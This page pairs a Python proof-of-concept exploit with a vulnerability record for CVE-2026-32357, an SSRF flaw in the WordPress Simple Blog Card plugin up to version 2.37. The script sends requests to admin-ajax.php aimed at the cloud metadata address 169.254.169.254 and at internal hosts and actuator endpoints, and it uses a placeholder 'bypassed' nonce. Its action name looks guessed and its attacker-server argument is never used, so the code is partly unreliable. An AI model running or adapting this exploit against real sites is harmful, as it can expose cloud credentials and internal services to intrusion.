CVE-2026-32357

import requests import sys # CVE-2026-32357 SSRF PoC for Simple Blog Card Plugin # Target: WordPress site with simple-blog-card plugin <= 2.37 def exploit_ssrf(target_url, attacker_server): """ Exploit SSRF vulnerability in Simple Blog Card plugin target_url: Target WordPress site URL attacker_server: Attacker's controlled server to receive SSRF requests """ # Target WordPress endpoint with Simple Blog Card functionality endpoint = f"{target_url}/wp-admin/admin-ajax.php" # SSRF payload targeting internal metadata service ssrf_payload = "http://169.254.169.254/latest/meta-data/" # Alternative payloads for internal network scanning internal_targets = [ "http://127.0.0.1/admin/", "http://localhost/server-status", "http://192.168.1.1/", "http://10.0.0.1:8080/actuator/env" ] # Construct malicious request data = { "action": "simple_blog_card_fetch_url", "url": ssrf_payload, "nonce": "attacker_controlled_or_bypassed" } try: print(f"[*] Sending SSRF payload to {target_url}") print(f"[*] Target URL: {ssrf_payload}") # Send malicious request response = requests.post(endpoint, data=data, timeout=10) print(f"[+] Response Status: {response.status_code}") print(f"[*] Response Length: {len(response.text)}") if response.status_code == 200 and len(response.text) > 0: print("[!] SSRF vulnerability confirmed!") print(f"[*] Response preview: {response.text[:500]}") return True except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <attacker_server>") print("Example: python exploit.py http://victim.com http://attacker.com:8080") sys.exit(1) target = sys.argv[1] attacker = sys.argv[2] exploit_ssrf(target, attacker)

{"cve": {"id": "CVE-2026-32357", "sourceIdentifier": "[email protected]", "published": "2026-03-13T19:54:49.337", "lastModified": "2026-04-22T21:30:26.497", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Server-Side Request Forgery (SSRF) vulnerability in Katsushi Kawamori Simple Blog Card simple-blog-card allows Server Side Request Forgery.This issue affects Simple Blog Card: from n/a through <= 2.37."}, {"lang": "es", "value": "Vulnerabilidad de Falsificación de Petición del Lado del Servidor (SSRF) en Katsushi Kawamori Simple Blog Card simple-blog-card permite falsificación de petición del lado del servidor. Este problema afecta a Simple Blog Card: desde n/a hasta &lt;= 2.37."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/simple-blog-card/vulnerability/wordpress-simple-blog-card-plugin-2-37-server-side-request-forgery-ssrf-vulnerability?_s_id=cve", "source": "[email protected]"}]}}